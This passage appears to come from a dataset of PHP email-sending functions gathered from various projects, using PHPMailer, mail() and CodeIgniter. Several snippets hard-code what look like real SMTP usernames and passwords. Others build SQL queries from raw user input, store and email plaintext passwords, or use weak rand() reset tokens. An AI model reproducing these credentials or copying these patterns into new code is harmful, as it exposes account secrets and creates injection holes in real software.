$obj_mail->Send();\n }", "function mailConfirmaClave($datos=null){\t\t\t\n\t\t\t\t$mail = new PHPMailer;\n\t\t\t\t\t$mail->isSMTP();\n\t\t\t\t\t$mail->SMTPDebug = 0;\n\t\t\t\t\t$mail->Debugoutput = 'html';\n\t\t\t\t\t$mail->Host =@$this->config->item('anfitrion');\n\t\t\t\t\t$mail->Port =@$this->config->item('puerto');\n\t\t\t\t\t$mail->Username =@$this->config->item('usuario');\n\t\t\t\t\t$mail->Password =@$this->config->item('clave');\n\t\t\t\t\t$mail->SMTPAuth = true;\n\t\t\t\t\t$mail->SMTPSecure = 'ssl';\n\t\t\t\t\t$mail->setFrom(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t\t$mail->addReplyTo(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t$mail->addAddress($datos['correoUsuario']);\t\t\t\t\n\t\t\n\t\t\t\t$subject = utf8_decode('Cambio de Clave, ANALISIS');\n\t\t\t\t$pagina=\"<a style='color:#4257F9' href='\".@$this->config->item('enlaceSistema').\"'>\".\"www.madeinbarter.com</a>\".\"<br><br>\";\n\t\t\t\t\t$mensaje = \"<h3> Estimado/a, \n\t\t\t\t\t\t\t\t<br>\".utf8_encode($datos['nombresUsuario']).\"<br><br>\n\t\t\t\t\t\t\t\tSu cambio de clave fue exitoso<br>\n\t\t\t\t\t\t\t\tSi usted no realizo esta acción, favor cominiquese con soporte<br>\t\t\n\t\t\t\t\t\t\t\t<br>E_mail: \".$datos['correoUsuario'].\"<br>\".\"Puede Ingresar en la siguiente p&aacute;gina: \".$pagina;\n\t\t\t\t\t$mail->Subject = $subject;\n\t\t\t\t\t$mail->msgHTML($mensaje);\t\n\t\t\t\t\tif (!$mail->send()) {\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn 0;\n\t\t\t\t\t}\t\t\n\t}", "public static function send(array $data)\n {\n $mail = new PHPMailer();\n\n// Define os dados do servidor e tipo de conexão\n// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n //$mail->IsMail();\n $mail->IsSMTP(); // Define que a mensagem será SMTP\n $mail->Host = SMTP_SERVER; // Endereço do servidor SMTP (caso queira utilizar a autenticação, utilize o host smtp.seudomínio.com.br)\n $mail->SMTPAuth = true; // Usar autenticação SMTP (obrigatório para smtp.seudomínio.com.br)\n $mail->Username = SMTP_USER; // Usuário do servidor SMTP (endereço de email)\n $mail->Password = SMTP_PASS; // Senha do servidor SMTP (senha do email usado)\n// Define o remetente\n// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->From = $data['from_email']; // Seu e-mail\n $mail->Sender = $data['sender_email']; // Seu e-mail\n $mail->FromName = $data['from_name']; // Seu nome\n// Define os destinatário(s)\n// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->AddAddress($data['to_email'], $data['to_name']);\n//$mail->AddCC('[email protected]', 'Ciclano'); // Copia\n//$mail->AddBCC('[email protected]', 'Fulano da Silva'); // Cópia Oculta\n// Define os dados técnicos da Mensagem\n// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->IsHTML(true); // Define que o e-mail será enviado como HTML\n $mail->CharSet = 'UTF-8'; // Charset da mensagem (opcional)\n// Define a mensagem (Texto e Assunto)\n// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n $mail->Subject = $data['subject']; // Assunto da mensagem\n $mail->Body = $data['body'];\n $mail->AltBody = strip_tags($mail->Body);\n\n// Define os anexos (opcional)\n// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n//$mail->AddAttachment(\"/home/login/documento.pdf\", \"novo_nome.pdf\"); // Insere um anexo\n// Envia o e-mail\n $enviado = $mail->Send();\n\n// Limpa os destinatários e os anexos\n $mail->ClearAllRecipients();\n $mail->ClearAttachments();\n\n// Exibe uma mensagem de resultado\n if ($enviado) {\n echo \"E-mail enviado com sucesso!\";\n } else {\n echo \"Não foi possível enviar o e-mail.\";\n echo \"Informações do erro: \" . $mail->ErrorInfo;\n }\n }", "function mailConfirmaAnula($datos=null){\t\t\t\n\t\t\t\t$mail = new PHPMailer;\n\t\t\t\t\t$mail->isSMTP();\n\t\t\t\t\t$mail->SMTPDebug = 0;\n\t\t\t\t\t$mail->Debugoutput = 'html';\n\t\t\t\t\t$mail->Host =@$this->config->item('anfitrion');\n\t\t\t\t\t$mail->Port =@$this->config->item('puerto');\n\t\t\t\t\t$mail->Username =@$this->config->item('usuario');\n\t\t\t\t\t$mail->Password =@$this->config->item('clave');\n\t\t\t\t\t$mail->SMTPAuth = true;\n\t\t\t\t\t$mail->SMTPSecure = 'ssl';\n\t\t\t\t\t$mail->setFrom(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t\t$mail->addReplyTo(@$this->config->item('correoSistema'),utf8_decode(@$this->config->item('usuarioSistema')));\n\t\t\t\t$mail->addAddress($datos['correoUsuario']);\t\t\t\t\n\t\t\n\t\t\t\t$subject = utf8_decode('Correo Anulación, ANALISIS');\n\t\t\t\t$pagina=\"<a style='color:#4257F9' href='\".@$this->config->item('enlaceSistema').\"'>\".\"www.madeinbarter.com</a>\".\"<br><br>\";\n\t\t\t\t\t$mensaje = \"<h3> Estimado/a, \n\t\t\t\t\t\t\t\t<br>\".utf8_encode($datos['nombresUsuario']).\"<br><br>\n\t\t\t\t\t\t\t\tLamentamos su decisión, estaremos prestos para otra ocasión<br>\n\t\t\t\t\t\t\t\tSi usted no realizo esta acción o desea regresar, favor cominiquese con soporte\".\"<br>\".\"Puede Ingresar en la siguiente p&aacute;gina: \".$pagina;\n\t\t\t\t\t$mail->Subject = $subject;\n\t\t\t\t\t$mail->msgHTML($mensaje);\t\n\t\t\t\t\tif (!$mail->send()) {\n\t\t\t\t\t\treturn 1;\n\t\t\t\t\t} else {\n\t\t\t\t\t\treturn 0;\n\t\t\t\t\t}\t\t\n\t}", "public function sendToActivateMail($email, $code, $type) \n {\n $mail = new PHPMailer(true);\n\n try {\n //Server settings \n $mail->isSMTP();\n $mail->Host = 'smtp.gmail.com';\n $mail->CharSet = \"utf-8\";\n $mail->SMTPAuth = true;\n $mail->Username = '[email protected]';\n $mail->Password = '5e7Y2BDATk';\n $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;\n $mail->Port = '587'; //TCP port to connect to; use 587 if you have set `SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS`\n\n //Recipients\n $mail->setFrom($email);\n $mail->addAddress($email); \n\n //Content\n $mail->isHTML(true); //Set email format to HTML\n $mail->Subject = '<h1>Активация аккаунта в archk</h1>';\n $mail->Body = '<div>Чтобы акктиворать свою учётную заись перейдите по <a href='.\"rab.archksakhalin.ru?activate=$code&email=$email&type=$type\".'>ссылке</a></div>';\n $mail->AltBody = 'This is the body in plain text for non-HTML mail clients';\n\n $mail->send();\n } catch (Exception $e) {\n var_dump(\"Message could not be sent. Mailer Error: {$mail->ErrorInfo}\");\n }\n }", "function enviarCorreoCliente(){\r\n\t$nombre \t\t = $_POST['nombre'];\r\n\t$body = '<p>Estimado ' . $nombre . ' , </p><p>Hemos recibido su petición, en breve recibirá una respuesta</p> ';\r\n\t$body \t\t\t .=\"<hr><p>FamInsurance SL</p><p>NIF 32XXXXXXXX</p><p>Avenida Páncreas 2017 888D 15000 A Coruña</p>\";\r\n\t$asunto = \"Contacto FamInsurance\";\r\n\t$from = \"email\";\t\r\n\t$to = $_POST['email'];\r\n\t$cabeceras = 'MIME-Version: 1.0' . \"\\r\\n\";\r\n $cabeceras .= 'Content-type: text/html; charset=utf-8' . \"\\r\\n\";\r\n\t$cabeceras .=\"From: FamInsurance SL <$from>\\r\\n\";\r\n\tmail($to, $asunto, $body,$cabeceras);\r\n\techo \"</br></br>Un mensaje automático ha sido enviado a su dirección de correo\";\r\n}", "function sendMail($merchantForm){\n $mail = new PHPMailer;\n $mail->CharSet = 'UTF-8';\n //Tell PHPMailer to use SMTP\n $mail->isSMTP();\n //Enable SMTP debugging\n // 0 = off (for production use)\n // 1 = client messages\n // 2 = client and server messages\n $mail->SMTPDebug = 0;\n //Ask for HTML-friendly debug output\n $mail->Debugoutput = 'html';\n //Set the hostname of the mail server\n $mail->Host = \"162.243.228.247\";\n //Set the SMTP port number - likely to be 25, 465 or 587\n $mail->Port = 25;\n //Whether to use SMTP authentication\n $mail->SMTPAuth = true;\n //Username to use for SMTP authentication\n $mail->Username = \"safesai\";\n //Password to use for SMTP authentication\n $mail->Password = \"yYXX8cgcgydwYQdV\";\n $mail->SMTPSecure = false;\n $mail->AuthType=\"PLAIN\";\n //Set who the message is to be sent from\n $mail->setFrom('[email protected]', 'no-reply');\n //Set an alternative reply-to address\n $mail->addReplyTo('[email protected]', 'no-reply');\n //Set who the message is to be sent to\n $mail->addAddress($merchantForm->getEmail(), \"KH\");\n //Set the subject line\n $mail->Subject = \"Email lấy mật khẩu thử nghiệm . YUPAX\";\n //Read an HTML message body from an external file, convert referenced images to embedded,\n //convert HTML into a basic plain-text alternative body\n $mail->msgHTML(\n \"<p>\n link đăng nhập\n <br>\n http://yupax.com/merchant\n </p>\n <p>\n Username\n <br>\n \".$merchantForm->getEmail().\"\n </p>\n <p>Mật khẩu\n <br>\".\n $merchantForm->getPassword().\"</p>\n <p>hashcode của merchant\n <br>\".\n $merchantForm->getHashcode().\"</p>\"\n );\n //Replace the plain text body with one created manually\n $mail->AltBody = 'vsec@2017';\n //Attach an image file\n //$mail->addAttachment('images/phpmailer_mini.png');\n\n //send the message, check for errors\n if (!$mail->send()) {\n echo \"Mailer Error: \" . $mail->ErrorInfo;die();\n //return false;\n } else {\n //return true;\n echo \"Message sent!\";\n }\n}", "function enviarMail( $para , $sujeto , $message )\n {\n // Set the mail headers into a variables\n $cabezeras = \"MIME-Version: 1.0\\r\\n\";\n $cabezeras .= \"Content-type: text/html; charset=iso-8859-1\\r\\n\";\n $cabezeras .= \"From: \" . $sujeto . \" <\" . $para . \">\\r\\n\";\n // $cabezeras .= 'Reply-To: '.$from.\"\\r\\n\" . 'X-Mailer: PHP/' . phpversion();\n $cabezeras .= \"X-Priority: 1\\r\\n\";\n $cabezeras .= \"X-MSMail-Priority: High\\r\\n\\r\\n\";\n // Send the email and confirm\n if( mail($para, $sujeto, $message, $cabezeras) )\n {\n return true;\n } else {\n return false;;\n }\n }", "function emailRecuperaClave($emailUsu, $clave){\n\t$mail = new PHPMailer;\n\t//Set who the message is to be sent from\n\t$mail->setFrom('[email protected]', 'Omolds');\n\t//Set an alternative reply-to address\n\t//$mail->addReplyTo('[email protected]', 'Omolds');\n\t\n\t//Set who the message is to be sent to\n\t$mail->addAddress($emailUsu);\n\t//Set the subject line\n\t$mail->Subject = 'Recupera clave Omolds';\n\t//Read an HTML message body from an external file, convert referenced images to embedded,\n\t//convert HTML into a basic plain-text alternative body\n\t$postdata = http_build_query(\n\t array(\n\t 'nombreUsu' => $emailUsu,\n\t 'clave' => $clave,\n\t 'dominio' => APP_PAGE\n\t )\n\t);\n\t//printVar($postdata); exit;\n\t$opts = array('http' =>\n\t array(\n\t 'method' => 'POST',\n\t 'header' => 'Content-type: application/x-www-form-urlencoded',\n\t 'content' => $postdata\n\t )\n\t);\n\t\n\t$context = stream_context_create($opts);\n\t//$rutaArchivo = '/home/omolds/public_html/page/default/public/';\n\t$mail->msgHTML(file_get_contents(APP_PAGE.'emails/omolds/recuperarClave.php', false, $context), dirname(__FILE__));\n\t\n\t//Replace the plain text body with one created manually\n\t$mail->AltBody = 'This is a plain-text message body';\n\t//Attach an image file\n\t//$mail->addAttachment('images/phpmailer_mini.png');\n\t\n\t$mail->CharSet = 'UTF-8';\n\t//send the message, check for errors\n\t$enviaEmail = $mail->send();\n\tif (!$enviaEmail) {\n\t\treturn false;\n\t} else {\n\t\treturn true; \t\n\t}\n}", "function sendmail($nomeCliente, $nomeForm, $resultado){\n\trequire_once(\"../PHPMailer/class.phpmailer.php\");\n\t// Inicia a classe PHPMailer\n\t$mail = new PHPMailer();\n\t// Define os dados do servidor e tipo de conexão\n\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\t$mail->IsSMTP(); // Define que a mensagem será SMTP\n\t$mail->Host = \"mail.businessperformance.net.br\"; // Endereço do servidor SMTP\n\t$mail->SMTPAuth = true; // Usa autenticação SMTP? (opcional)\n\t$mail->Username = '[email protected]'; // Usuário do servidor SMTP\n\t$mail->Password = '@Business18'; // Senha do servidor SMTP\n\t// Define o remetente\n\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\t$mail->From = \"[email protected]\"; // Seu e-mail\n\t$mail->FromName = \"Business Performance\"; // Seu nome\n\t// Define os destinatário(s)\n\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\t$mail->AddAddress('[email protected]', 'Renata Nunes');\n\n\t//$mail->AddAddress('[email protected]');\n\n\t//$mail->AddCC('[email protected]', 'Ciclano'); // Copia\n\t//$mail->AddBCC('[email protected]', 'Fulano da Silva'); // Cópia Oculta\n\t// Define os dados técnicos da Mensagem\n\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\t$mail->IsHTML(true); // Define que o e-mail será enviado como HTML\n\t$mail->CharSet = 'UTF-8'; // Charset da mensagem (opcional)\n\t// Define a mensagem (Texto e Assunto)\n\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\t$mail->Subject = \"Resultado formulário - \".$nomeForm.\"\"; // Assunto da mensagem\n\t$mail->Body = \"Segue em anexo o resultado do cliente <b>\".$nomeCliente.\"</b> para o formulário <b>\".$nomeForm.\"</b>.)\";\n\t$mail->AltBody = \"Segue em anexo o resultado do cliente \".$nomeCliente.\" para o formulário \".$nomeForm.\".\";\n\t// Define os anexos (opcional)\n\t// =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=\n\n\t$mail->AddAttachment($resultado); // Insere um anexo -> Renomear arquivo ($resultado, \"novo_nome.pdf\")\n\t// Envia o e-mail\n\t$enviado = $mail->Send();\n\t// Limpa os destinatários e os anexos\n\t$mail->ClearAllRecipients();\n\t$mail->ClearAttachments();\n\t// Exibe uma mensagem de resultado\n\tif ($enviado) {\n\t echo \"E-mail enviado com sucesso!\";\n\t} else {\n\t echo \"Não foi possível enviar o e-mail.\";\n\t echo \"<b>Informações do erro:</b> \" . $mail->ErrorInfo;\n\t}\n\n}", "function emailValidaUsu($emailUsu, $idUsuario){\n\t$mail = new PHPMailer;\n\t//Set who the message is to be sent from\n\t$mail->setFrom('[email protected]', 'Omolds');\n\t//Set an alternative reply-to address\n\t//$mail->addReplyTo('[email protected]', 'Omolds');\n\t\n\t//Set who the message is to be sent to\n\t$mail->addAddress($emailUsu, $nombreUsu);\n\t//Set the subject line\n\t$mail->Subject = 'Activar Cuenta Omolds';\n\t//Read an HTML message body from an external file, convert referenced images to embedded,\n\t//convert HTML into a basic plain-text alternative body\n\t$postdata = http_build_query(\n\t array(\n\t 'nombreUsu' => $emailUsu,\n\t 'clave' => md5($emailUsu),\n\t 'id' => $idUsuario, \n\t 'dominio' => APP_PAGE\n\t )\n\t);\n\t//printVar($postdata); exit;\n\t$opts = array('http' =>\n\t array(\n\t 'method' => 'POST',\n\t 'header' => 'Content-type: application/x-www-form-urlencoded',\n\t 'content' => $postdata\n\t )\n\t);\n\t\n\t$context = stream_context_create($opts);\n\t//$rutaArchivo = '/home/omolds/public_html/page/default/public/';\n\t$mail->msgHTML(file_get_contents(APP_PAGE.'emails/omolds/activarCuenta.php', false, $context), dirname(__FILE__));\n\t//Replace the plain text body with one created manually\n\t$mail->AltBody = 'This is a plain-text message body';\n\t//Attach an image file\n\t//$mail->addAttachment('images/phpmailer_mini.png');\n\t\n\t$mail->CharSet = 'UTF-8';\n\t//send the message, check for errors\n\t$enviaEmail = $mail->send();\n\tif (!$enviaEmail) {\n\t\tFlash::error(\"Mailer Error: \" . $mail->ErrorInfo); \n\t} else {\n\t\tFlash::valid(\"Mensaje enviado\"); \t\n\t}\n\t//exit;\n}", "function enviar_email($email,$sujeto, $msj, $headers){\n\treturn mail($email,$sujeto, $msj, $headers);\n\t\n}", "public function Enviar_Email() : void\n {\n $valor = array();\n $valor['status'] = '';\n $valor['html'] = '';\n $valor['campos'] = $this->campos;\n \n if (empty($this->erros)) {\n if (Email::Enviar_Contato_Anunciante($this->obj_contato_anunciante)) {\n $this->obj_contato_anunciante->set_datahora_envio(date('Y-m-d H:i:s'));\n $this->obj_contato_anunciante->set_lido(false);\n \n DAO_Contato_Anunciante::Inserir($this->obj_contato_anunciante);\n \n $valor['status'] = 'certo';\n $valor['html'] = \"<li>Enviado com Sucesso</li>\";\n } else {\n $valor['status'] = 'erro';\n $valor['html'] = '<li>Erro ao tentar enviar e-mail</li>';\n }\n } else {\n $valor['status'] = 'erro';\n \n foreach ($this->erros as $erro) {\n $valor['html'] .= \"<li>$erro</li>\";\n }\n }\n \n echo json_encode($valor);\n }", "public function send_email() {\n $toemail = $this->params['toemail'];\n $subject = $this->params['subject'];\n $content = $this->params['content'];\n }", "function enviar_mensaje($con, $username, $password, $mobile, $emailadd, $identificacion, $matricula, $codigo_activacion, $tipo_usuario)\r\n{\r\n $mail = new PHPMailer(true);\r\n $mail->CharSet = \"UTF-8\";\r\n\r\n try {\r\n//Server settings\r\n $mail->SMTPDebug = 0; // Enable verbose debug output\r\n $mail->isSMTP(); // Send using SMTP\r\n\r\n //$mail->Helo = \"smtp.gmail.com\"; //Muy importante para que llegue a hotmail y otros\r\n $mail->Host = \"smtp.live.com\"; // Set the SMTP server to send through\r\n $mail->SMTPAuth = true; // Enable SMTP authentication\r\n $mail->Username = '[email protected]'; // SMTP username\r\n $mail->Password = 'commer123'; // SMTP password\r\n $mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS; // Enable TLS encryption; `PHPMailer::ENCRYPTION_SMTPS` also accepted\r\n $mail->Port = 587; // TCP port to connect to\r\n\r\n//Recipients\r\n $mail->setFrom('[email protected]', 'Commer');\r\n $mail->addAddress($emailadd); // Add a recipient\r\n //$mail->addAddress('[email protected]'); // Name is optional\r\n //$mail->addReplyTo('[email protected]', 'Information');\r\n //$mail->addCC('[email protected]');\r\n //$mail->addBCC('[email protected]');\r\n\r\n// Attachments\r\n\r\n//$mail->addAttachment('/var/tmp/file.tar.gz'); // Add attachments\r\n //$mail->addAttachment('/tmp/image.jpg', 'new.jpg'); // Optional name\r\n\r\n $base_url = \"http://localhost/ionic-php-mysql/\";\r\n\r\n $mail->isHTML(true); // Set email format to HTML\r\n $mail->Subject = 'Verificación de correo Commer';\r\n $mail->Body = '<p>Hola ' . $username . ' <br/> <br/> ¡Por favor! ingrese al link para verificar su cuenta de correo y poder ingresar al aplicativo, ¡gracias! . <br/> <br/> <a href=\"' . $base_url . 'verificacion_email.php?activation_code=' . $codigo_activacion . '\">' . $base_url . 'verificacion_email.php?activation_code=' . $codigo_activacion . '</a>';\r\n $mail->send();\r\n //echo 'El mensaje se ha enviado';\r\n\r\n if ($tipo_usuario == '2') {\r\n\r\n $sql = \"INSERT INTO clientes (id_rol, nombre_cli, clave_cli, telefono_cli, correo_cli, identificacion_cli, matricula_mercantil_cli, estado_correo_cli, codigo_activacion_cli)\r\n VALUES (2,'$username', '$password', '$mobile', '$emailadd', '$identificacion', '$matricula','false','$codigo_activacion')\";\r\n\r\n if ($con->query($sql) === true) {\r\n\r\n $response = 'El mensaje se ha enviado';\r\n\r\n } else {\r\n\r\n $response = \"Error: \" . $sql . \"<br>\" . $db->error;\r\n\r\n }\r\n\r\n echo json_encode($response);\r\n\r\n } else {\r\n\r\n $sql = \"INSERT INTO usuarios (id_rol, nombre_usu, clave_usu, telefono_usu, correo_usu, estado_correo_usu, codigo_activacion_usu)\r\n VALUES (3, '$username', '$password', '$mobile', '$emailadd','false','$codigo_activacion')\";\r\n\r\n if ($con->query($sql) === true) {\r\n\r\n $response = 'El mensaje se ha enviado';\r\n\r\n } else {\r\n\r\n $response = \"Error: \" . $sql . \"<br>\" . $db->error;\r\n }\r\n\r\n echo json_encode($response);\r\n\r\n }\r\n\r\n } catch (Exception $e) {\r\n //echo \"El mensaje no se pudo enviar: {$mail->ErrorInfo}\";\r\n $response = \"El mensaje no se pudo enviar: {$mail->ErrorInfo}\";\r\n echo json_encode($response);\r\n\r\n }\r\n\r\n}", "public function enviarCorreo ($email_destino,$encabezado,$mensaje,$listado)\r\n {\r\n //-----------> array de configuraciones para poder enviar el mail con GMAIL\r\n $config = array(\r\n 'protocol' => 'smtp',\r\n 'smtp_host' => 'smtp.googlemail.com', \r\n 'smtp_user' => '[email protected]', //Su Correo de Gmail Aqui\r\n 'smtp_pass' => 'aplicacionadopta2', // Su Password de Gmail aqui\r\n 'smtp_port' => '465',\r\n 'smtp_crypto' => 'ssl',\r\n 'mailtype' => 'html',\r\n 'wordwrap' => TRUE,\r\n 'charset' => 'utf-8',\r\n 'validate' => TRUE\r\n );\r\n //----> inicializo el email\r\n $this -> email -> initialize($config);\r\n $this->email->set_newline(\"\\r\\n\");\r\n \r\n if ($listado != null){\r\n foreach ($listado as $adoptante)\r\n {\r\n $this->email->from('[email protected]','Adopta2 app'); //----> el correo de google del que se envia\r\n $this->email->to($adoptante -> email_adoptante);\r\n $this->email->subject($encabezado);\r\n $this->email->message($mensaje);\r\n //----> Lo que esta comentado es por si falla, muestra los datos del mail y errores si es que se envio mal\r\n if ($this -> email -> send(FALSE)){\r\n /*echo \"enviado<br/>\";\r\n echo $this->email->print_debugger(array('headers'));*/\r\n return true;\r\n }else{\r\n /*echo \"fallo <br/>\";\r\n echo \"error: \".$this->email->print_debugger(array('headers'));*/\r\n return false;\r\n }\r\n }\r\n } else {\r\n $this->email->from('[email protected]','Adopta2 app'); //----> el correo de google del que se envia\r\n $this->email->to($email_destino);\r\n $this->email->subject($encabezado);\r\n $this->email->message($mensaje);\r\n //----> Lo que esta comentado es por si falla, muestra los datos del mail y errores si es que se envio mal\r\n if ($this -> email -> send(FALSE)){\r\n /*echo \"enviado<br/>\";\r\n echo $this->email->print_debugger(array('headers'));*/\r\n return true;\r\n }else{\r\n /*echo \"fallo <br/>\";\r\n echo \"error: \".$this->email->print_debugger(array('headers'));*/\r\n return false;\r\n }\r\n }\r\n \r\n }", "protected function sendTestMail() {}", "public function sendMailUsuario($nombre,$email,$login,$clave){\n\t\t\n\t\tinclude('includes/class.phpmailer.php');\n\t\t\n\t \t$mail = new phpmailer();\n \t\n\t\n \t\t$mail->PluginDir = \"\";\n \n \n\t \t//Con la propiedad Mailer le indicamos que vamos a usar un \n\t \t//servidor smtp\n \t\t$mail->Mailer = \"smtp\";\n\n \t\t//Asignamos a Host el nombre de nuestro servidor smtp\n \t\t$mail->Host = \"ccschucor01.pdvsa.com\";\n \n \t\t//Le indicamos que el servidor smtp requiere autenticación\n \t\t$mail->SMTPAuth = true;\n \t\t$mail->CharSet = \"UTF-8\";\n\n \t\t//Le decimos cual es nuestro nombre de usuario y password\n \t\t$mail->Username = \"[email protected]\"; \n \t\t$mail->Password = \"LUBRIALERTASPOOL\";\n \n \t\t//Indicamos cual es nuestra dirección de correo y el nombre que \n \t\t//queremos que vea el usuario que lee nuestro correo\n \n \t\t$mail->From = \"[email protected]\";\n \n \t\n \t\t$mail->FromName = \"Lubrialertas\"; \n \n \t\t$mail->Timeout=30;\n \n\n \t\t$mail->Body = '\n\t\t\tPDVSA - Lubrialertas\n\t\t\tAnálisis de Lubricantes PDVSA\n\t\t';\n\n\t\t$nombre= self::GetQuitarAcentos($nombre);\n\t\t\n\t\t$mail->Body.= '\n\t\t\t\tEstimad@ '.$nombre.'\n\t\t\t\tLos datos de su cuenta de acceso al sistema LUBRIALERTAS son los siguientes:\n\t\t\t\n\t\t\t\tUsuario: '.$login.'\n\t\t\t\tContraseña: '.$clave.'\n\t\t\n\t\t\t\tRecuerde cambiar la contraseña al ingresar al sistema, y le recomendamos que la cambie periódicamente.\n\t\t\t\n\t\t\t';\n\t\t\n\t\t//Indicamos cual es la dirección de destino del correo\n\t\t$mail->AddAddress($email);\n\t\t\n\t\t//Asignamos asunto y cuerpo del mensaje\n\t\t$mail->Subject = \"Información Acceso\";\n\t\t\n\t\t\n\t\t//se envia el mensaje, si no ha habido problemas \n\t \t//la variable $exito tendra el valor true\n \t\t$exito = $mail->Send();\n\n \t\t//Si el mensaje no ha podido ser enviado se realizaran 4 intentos mas como mucho \n \t\t//para intentar enviar el mensaje, cada intento se hara 5 segundos despues \n\t\t//del anterior, para ello se usa la funcion sleep \n \n \t\t$intentos=1; \n \t\twhile ((!$exito) && ($intentos < 5)) {\n \tsleep(5);\n //echo $mail->ErrorInfo;\n $exito = $mail->Send();\n $intentos=$intentos+1; \n \n \t}\n \n \n \tif(!$exito){\n \t\t//echo \"Problemas enviando correo electrónico a \".$valor;\n\t \t//echo \"<br>\".$mail->ErrorInfo; \n\t }\n \telse{\n \t //echo \"Mensaje enviado correctamente\";\n\t\t\t}\n\t\t\t\n\t}", "function envoi_mail($dest, $titre, $cont) {\n //----------------------------------------------- \n //DECLARE LES VARIABLES \n //----------------------------------------------- \n $email_reply = '[email protected]';\n\n $message_html = '<html> \n <head> \n <title>'.$titre.'</title> \n </head> \n <body>\n <div style=\"padding: 7px; font-size: 1.1em\">\n '.$cont.'\n <br />\n <p>\n Passez une bonne journée sur <a href=\"http://BlogPHP.fr/\">'.Conf::$SITE['TITRE'].'</a>,\n <br />\n <em>L\\'équipe de développement.</em>\n </p>\n </div>\n </body> \n </html>'; \n\n //----------------------------------------------- \n //HEADERS DU MAIL \n //----------------------------------------------- \n\tini_set('SMTP','smtp.sfr.fr');\n\n $entetedate = date(\"D, j M Y H:i:s\"); // avec offset horaire\n $headers = 'From: \"'.Conf::$SITE['TITRE'].'\" <'.$email_reply.'>'.\"\\n\";\n $headers .= 'Return-Path: <'.$email_reply.'>'.\"\\n\"; \n $headers .= 'MIME-Version: 1.0'.\"\\n\"; \n $headers .= 'Content-Type: text/html; charset=\"utf-8\"'.\"\\n\"; \n $headers .= 'Content-Transfer-Encoding: 8bit'.\"\\n\"; \n $headers .= \"X-Mailer: PHP/\" . phpversion() . \"\\n\\n\" ;\n\n return mail($dest, $titre, $message_html, $headers);\n}", "public function sendMailToChangePassword(string $login, string $email){\n require_once ('modeles/phpmailer/envoi.php');\n //partie personne\n $user = $this->recupUser($email);\n //partie mail\n $mail = new envoi();\n $token = rand(10,9999);\n $this->saveToken($login, $token);\n $link = \"<a href='http://localhost/code/index.php?action=changePassword&key=\".$login.\"&token=\".$token.\"'>Cliquer ici !</a>\";\n\n $body_html = '\n <head>\n <meta charset=\"utf-8\">\n <meta name=\"viewport\" content=\"width=device-width\">\n <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\">\n <title>Numtech</title>\n <style type=\"text/css\">\n html,\n body {\n margin: 0 auto !important;\n padding: 0 !important;\n height: 100% !important;\n width: 100% !important;\n }\n \n * {\n -ms-text-size-adjust: 100%;\n -webkit-text-size-adjust: 100%;\n }\n \n div[style*=\"margin: 16px 0\"] {\n margin: 0 !important;\n }\n \n table,\n td {\n mso-table-lspace: 0pt !important;\n mso-table-rspace: 0pt !important;\n }\n \n table {\n border-spacing: 0 !important;\n border-collapse: collapse !important;\n table-layout: fixed !important;\n margin: 0 auto !important;\n }\n \n img {\n line-height: 100%;\n outline: none;\n text-decoration: none;\n -ms-interpolation-mode: bicubic;\n border: 0;\n max-width: 100%;\n height: auto;\n vertical-align: middle;\n }\n \n .yshortcuts a {\n border-bottom: none !important;\n }\n \n a[x-apple-data-detectors] {\n color: inherit !important;\n text-decoration: none !important;\n font-size: inherit !important;\n font-family: inherit !important;\n font-weight: inherit !important;\n line-height: inherit !important;\n }\n \n @media screen and (min-width: 600px) {\n .ios-responsive-grid {\n display: -webkit-box !important;\n display: flex !important;\n }\n .ios-responsive-grid__unit {\n float: left;\n }\n }\n </style>\n <style type=\"text/css\">\n li {\n text-indent: -1em;\n }\n </style>\n <style type=\"text/css\">\n .button__td,\n .button__a {\n transition: all 100ms ease;\n }\n \n .button__td:hover,\n .button__a:hover {\n background: #1ab77b !important;\n }\n \n @media screen and (max-width: 599px) {\n .tw-card { padding: 20px !important; }\n .tw-h1 { font-size: 22px !important; }\n .mobile-hidden {\n display: none !important;\n }\n .mobile-d-block {\n display: block !important;\n }\n .mobile-w-full {\n width: 100% !important;\n }\n .mobile-m-h-auto {\n margin: 0 auto !important;\n }\n .mobile-p-0 {\n padding: 0 !important;\n }\n .mobile-p-t-0 {\n padding-top: 0 !important;\n }\n .mobile-img-fluid {\n max-width: 100% !important;\n width: 100% !important;\n height: auto !important;\n }\n }\n </style>\n </head>\n \n <body style=\"background: #ffffff; height: 100% !important; margin: 0 auto !important; padding: 0 !important; width: 100% !important; ;\">\n <div style=\"display: none; font-size: 1px; line-height: 1px; max-height: 0; max-width: 0; opacity: 0; overflow: hidden; mso-hide: all;\">\n </div>\n <table cellpadding=\"0\" cellspacing=\"0\" style=\"background: #f2f2f2; border: 0; border-radius: 0; width: 100%;\">\n <tbody><tr>\n <td align=\"center\" class=\"\" style=\"padding: 0 20px;\">\n <table cellpadding=\"0\" cellspacing=\"0\" style=\"background: #f2f2f2; border: 0; border-radius: 0;\">\n <tbody><tr>\n <td align=\"center\" class=\"\" style=\"width: 600px;\">\n <table cellpadding=\"0\" cellspacing=\"0\" dir=\"ltr\" style=\"border: 